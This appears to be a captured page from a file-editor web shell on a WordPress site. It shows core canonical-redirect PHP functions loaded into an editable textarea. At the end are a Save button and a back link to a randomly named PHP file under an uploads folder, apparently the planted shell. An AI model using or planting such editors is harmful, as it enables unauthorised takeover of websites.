		$redirect[&#039;path&#039;] = untrailingslashit( $redirect[&#039;path&#039;] );
	}

	// Strip multiple slashes out of the URL.
	if ( str_contains( $redirect[&#039;path&#039;], &#039;//&#039; ) ) {
		$redirect[&#039;path&#039;] = preg_replace( &#039;|/+|&#039;, &#039;/&#039;, $redirect[&#039;path&#039;] );
	}

	// Always trailing slash the Front Page URL.
	if ( trailingslashit( $redirect[&#039;path&#039;] ) === trailingslashit( $user_home[&#039;path&#039;] ) ) {
		$redirect[&#039;path&#039;] = trailingslashit( $redirect[&#039;path&#039;] );
	}

	$original_host_low = strtolower( $original[&#039;host&#039;] );
	$redirect_host_low = strtolower( $redirect[&#039;host&#039;] );

	/*
	 * Ignore differences in host capitalization, as this can lead to infinite redirects.
	 * Only redirect no-www &lt;=&gt; yes-www.
	 */
	if ( $original_host_low === $redirect_host_low
		|| ( &#039;www.&#039; . $original_host_low !== $redirect_host_low
			&amp;&amp; &#039;www.&#039; . $redirect_host_low !== $original_host_low )
	) {
		$redirect[&#039;host&#039;] = $original[&#039;host&#039;];
	}

	$compare_original = array( $original[&#039;host&#039;], $original[&#039;path&#039;] );

	if ( ! empty( $original[&#039;port&#039;] ) ) {
		$compare_original[] = $original[&#039;port&#039;];
	}

	if ( ! empty( $original[&#039;query&#039;] ) ) {
		$compare_original[] = $original[&#039;query&#039;];
	}

	$compare_redirect = array( $redirect[&#039;host&#039;], $redirect[&#039;path&#039;] );

	if ( ! empty( $redirect[&#039;port&#039;] ) ) {
		$compare_redirect[] = $redirect[&#039;port&#039;];
	}

	if ( ! empty( $redirect[&#039;query&#039;] ) ) {
		$compare_redirect[] = $redirect[&#039;query&#039;];
	}

	if ( $compare_original !== $compare_redirect ) {
		$redirect_url = $redirect[&#039;scheme&#039;] . &#039;://&#039; . $redirect[&#039;host&#039;];

		if ( ! empty( $redirect[&#039;port&#039;] ) ) {
			$redirect_url .= &#039;:&#039; . $redirect[&#039;port&#039;];
		}

		$redirect_url .= $redirect[&#039;path&#039;];

		if ( ! empty( $redirect[&#039;query&#039;] ) ) {
			$redirect_url .= &#039;?&#039; . $redirect[&#039;query&#039;];
		}
	}

	if ( ! $redirect_url || $redirect_url === $requested_url ) {
		return;
	}

	// Hex-encoded octets are case-insensitive.
	if ( str_contains( $requested_url, &#039;%&#039; ) ) {
		if ( ! function_exists( &#039;lowercase_octets&#039; ) ) {
			/**
			 * Converts the first hex-encoded octet match to lowercase.
			 *
			 * @since 3.1.0
			 * @ignore
			 *
			 * @param array $matches Hex-encoded octet matches for the requested URL.
			 * @return string Lowercased version of the first match.
			 */
			function lowercase_octets( $matches ) {
				return strtolower( $matches[0] );
			}
		}

		$requested_url = preg_replace_callback( &#039;|%[a-fA-F0-9][a-fA-F0-9]|&#039;, &#039;lowercase_octets&#039;, $requested_url );
	}

	if ( $redirect_obj instanceof WP_Post ) {
		$post_status_obj = get_post_status_object( get_post_status( $redirect_obj ) );
		/*
		 * Unset the redirect object and URL if they are not readable by the user.
		 * This condition is a little confusing as the condition needs to pass if
		 * the post is not readable by the user. That&#039;s why there are ! (not) conditions
		 * throughout.
		 */
		if (
			// Private post statuses only redirect if the user can read them.
			! (
				$post_status_obj-&gt;private &amp;&amp;
				current_user_can( &#039;read_post&#039;, $redirect_obj-&gt;ID )
			) &amp;&amp;
			// For other posts, only redirect if publicly viewable.
			! is_post_publicly_viewable( $redirect_obj )
		) {
			$redirect_obj = false;
			$redirect_url = false;
		}
	}

	/**
	 * Filters the canonical redirect URL.
	 *
	 * Returning false to this filter will cancel the redirect.
	 *
	 * @since 2.3.0
	 *
	 * @param string $redirect_url  The redirect URL.
	 * @param string $requested_url The requested URL.
	 */
	$redirect_url = apply_filters( &#039;redirect_canonical&#039;, $redirect_url, $requested_url );

	// Yes, again -- in case the filter aborted the request.
	if ( ! $redirect_url || strip_fragment_from_url( $redirect_url ) === strip_fragment_from_url( $requested_url ) ) {
		return;
	}

	if ( $do_redirect ) {
		// Protect against chained redirects.
		if ( ! redirect_canonical( $redirect_url, false ) ) {
			wp_redirect( $redirect_url, 301 );
			exit;
		} else {
			// Debug.
			// die(&quot;1: $redirect_url&lt;br /&gt;2: &quot; . redirect_canonical( $redirect_url, false ) );
			return;
		}
	} else {
		return $redirect_url;
	}
}

/**
 * Removes arguments from a query string if they are not present in a URL
 * DO NOT use this in plugin code.
 *
 * @since 3.4.0
 * @access private
 *
 * @param string $query_string
 * @param array  $args_to_check
 * @param string $url
 * @return string The altered query string
 */
function _remove_qs_args_if_not_in_url( $query_string, array $args_to_check, $url ) {
	$parsed_url = parse_url( $url );

	if ( ! empty( $parsed_url[&#039;query&#039;] ) ) {
		parse_str( $parsed_url[&#039;query&#039;], $parsed_query );

		foreach ( $args_to_check as $qv ) {
			if ( ! isset( $parsed_query[ $qv ] ) ) {
				$query_string = remove_query_arg( $qv, $query_string );
			}
		}
	} else {
		$query_string = remove_query_arg( $args_to_check, $query_string );
	}

	return $query_string;
}

/**
 * Strips the #fragment from a URL, if one is present.
 *
 * @since 4.4.0
 *
 * @param string $url The URL to strip.
 * @return string The altered URL.
 */
function strip_fragment_from_url( $url ) {
	$parsed_url = wp_parse_url( $url );

	if ( ! empty( $parsed_url[&#039;host&#039;] ) ) {
		$url = &#039;&#039;;

		if ( ! empty( $parsed_url[&#039;scheme&#039;] ) ) {
			$url = $parsed_url[&#039;scheme&#039;] . &#039;:&#039;;
		}

		$url .= &#039;//&#039; . $parsed_url[&#039;host&#039;];

		if ( ! empty( $parsed_url[&#039;port&#039;] ) ) {
			$url .= &#039;:&#039; . $parsed_url[&#039;port&#039;];
		}

		if ( ! empty( $parsed_url[&#039;path&#039;] ) ) {
			$url .= $parsed_url[&#039;path&#039;];
		}

		if ( ! empty( $parsed_url[&#039;query&#039;] ) ) {
			$url .= &#039;?&#039; . $parsed_url[&#039;query&#039;];
		}
	}

	return $url;
}

/**
 * Attempts to guess the correct URL for a 404 request based on query vars.
 *
 * @since 2.3.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @return string|false The correct URL if one is found. False on failure.
 */
function redirect_guess_404_permalink() {
	global $wpdb;

	/**
	 * Filters whether to attempt to guess a redirect URL for a 404 request.
	 *
	 * Returning a false value from the filter will disable the URL guessing
	 * and return early without performing a redirect.
	 *
	 * @since 5.5.0
	 *
	 * @param bool $do_redirect_guess Whether to attempt to guess a redirect URL
	 *                                for a 404 request. Default true.
	 */
	if ( false === apply_filters( &#039;do_redirect_guess_404_permalink&#039;, true ) ) {
		return false;
	}

	/**
	 * Short-circuits the redirect URL guessing for 404 requests.
	 *
	 * Returning a non-null value from the filter will effectively short-circuit
	 * the URL guessing, returning the passed value instead.
	 *
	 * @since 5.5.0
	 *
	 * @param null|string|false $pre Whether to short-circuit guessing the redirect for a 404.
	 *                               Default null to continue with the URL guessing.
	 */
	$pre = apply_filters( &#039;pre_redirect_guess_404_permalink&#039;, null );
	if ( null !== $pre ) {
		return $pre;
	}

	if ( get_query_var( &#039;name&#039; ) ) {
		$publicly_viewable_statuses   = array_filter( get_post_stati(), &#039;is_post_status_viewable&#039; );
		$publicly_viewable_post_types = array_filter( get_post_types( array( &#039;exclude_from_search&#039; =&gt; false ) ), &#039;is_post_type_viewable&#039; );

		/**
		 * Filters whether to perform a strict guess for a 404 redirect.
		 *
		 * Returning a truthy value from the filter will redirect only exact post_name matches.
		 *
		 * @since 5.5.0
		 *
		 * @param bool $strict_guess Whether to perform a strict guess. Default false (loose guess).
		 */
		$strict_guess = apply_filters( &#039;strict_redirect_guess_404_permalink&#039;, false );

		if ( $strict_guess ) {
			$where = $wpdb-&gt;prepare( &#039;post_name = %s&#039;, get_query_var( &#039;name&#039; ) );
		} else {
			$where = $wpdb-&gt;prepare( &#039;post_name LIKE %s&#039;, $wpdb-&gt;esc_like( get_query_var( &#039;name&#039; ) ) . &#039;%&#039; );
		}

		// If any of post_type, year, monthnum, or day are set, use them to refine the query.
		if ( get_query_var( &#039;post_type&#039; ) ) {
			if ( is_array( get_query_var( &#039;post_type&#039; ) ) ) {
				$post_types = array_intersect( get_query_var( &#039;post_type&#039; ), $publicly_viewable_post_types );
				if ( empty( $post_types ) ) {
					return false;
				}
				$where .= &quot; AND post_type IN (&#039;&quot; . join( &quot;&#039;, &#039;&quot;, esc_sql( get_query_var( &#039;post_type&#039; ) ) ) . &quot;&#039;)&quot;;
			} else {
				if ( ! in_array( get_query_var( &#039;post_type&#039; ), $publicly_viewable_post_types, true ) ) {
					return false;
				}
				$where .= $wpdb-&gt;prepare( &#039; AND post_type = %s&#039;, get_query_var( &#039;post_type&#039; ) );
			}
		} else {
			$where .= &quot; AND post_type IN (&#039;&quot; . implode( &quot;&#039;, &#039;&quot;, esc_sql( $publicly_viewable_post_types ) ) . &quot;&#039;)&quot;;
		}

		if ( get_query_var( &#039;year&#039; ) ) {
			$where .= $wpdb-&gt;prepare( &#039; AND YEAR(post_date) = %d&#039;, get_query_var( &#039;year&#039; ) );
		}
		if ( get_query_var( &#039;monthnum&#039; ) ) {
			$where .= $wpdb-&gt;prepare( &#039; AND MONTH(post_date) = %d&#039;, get_query_var( &#039;monthnum&#039; ) );
		}
		if ( get_query_var( &#039;day&#039; ) ) {
			$where .= $wpdb-&gt;prepare( &#039; AND DAYOFMONTH(post_date) = %d&#039;, get_query_var( &#039;day&#039; ) );
		}

		// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
		$post_id = $wpdb-&gt;get_var( &quot;SELECT ID FROM $wpdb-&gt;posts WHERE $where AND post_status IN (&#039;&quot; . implode( &quot;&#039;, &#039;&quot;, esc_sql( $publicly_viewable_statuses ) ) . &quot;&#039;)&quot; );

		if ( ! $post_id ) {
			return false;
		}

		if ( get_query_var( &#039;feed&#039; ) ) {
			return get_post_comments_feed_link( $post_id, get_query_var( &#039;feed&#039; ) );
		} elseif ( get_query_var( &#039;page&#039; ) &gt; 1 ) {
			return trailingslashit( get_permalink( $post_id ) ) . user_trailingslashit( get_query_var( &#039;page&#039; ), &#039;single_paged&#039; );
		} else {
			return get_permalink( $post_id );
		}
	}

	return false;
}

/**
 * Redirects a variety of shorthand URLs to the admin.
 *
 * If a user visits example.com/admin, they&#039;ll be redirected to /wp-admin.
 * Visiting /login redirects to /wp-login.php, and so on.
 *
 * @since 3.4.0
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 */
function wp_redirect_admin_locations() {
	global $wp_rewrite;

	if ( ! ( is_404() &amp;&amp; $wp_rewrite-&gt;using_permalinks() ) ) {
		return;
	}

	$admins = array(
		home_url( &#039;wp-admin&#039;, &#039;relative&#039; ),
		home_url( &#039;dashboard&#039;, &#039;relative&#039; ),
		home_url( &#039;admin&#039;, &#039;relative&#039; ),
		site_url( &#039;dashboard&#039;, &#039;relative&#039; ),
		site_url( &#039;admin&#039;, &#039;relative&#039; ),
	);

	if ( in_array( untrailingslashit( $_SERVER[&#039;REQUEST_URI&#039;] ), $admins, true ) ) {
		wp_redirect( admin_url() );
		exit;
	}

	$logins = array(
		home_url( &#039;wp-login.php&#039;, &#039;relative&#039; ),
		home_url( &#039;login.php&#039;, &#039;relative&#039; ),
		home_url( &#039;login&#039;, &#039;relative&#039; ),
		site_url( &#039;login&#039;, &#039;relative&#039; ),
	);

	if ( in_array( untrailingslashit( $_SERVER[&#039;REQUEST_URI&#039;] ), $logins, true ) ) {
		wp_redirect( wp_login_url() );
		exit;
	}
}
</textarea><br><br>
                <button type="submit" class="btn">Save</button>
                <a href="/uploads/products/others/6a3fbcc2deec3_65.php?dir=." class="btn gray">Kembali</a>
              </form>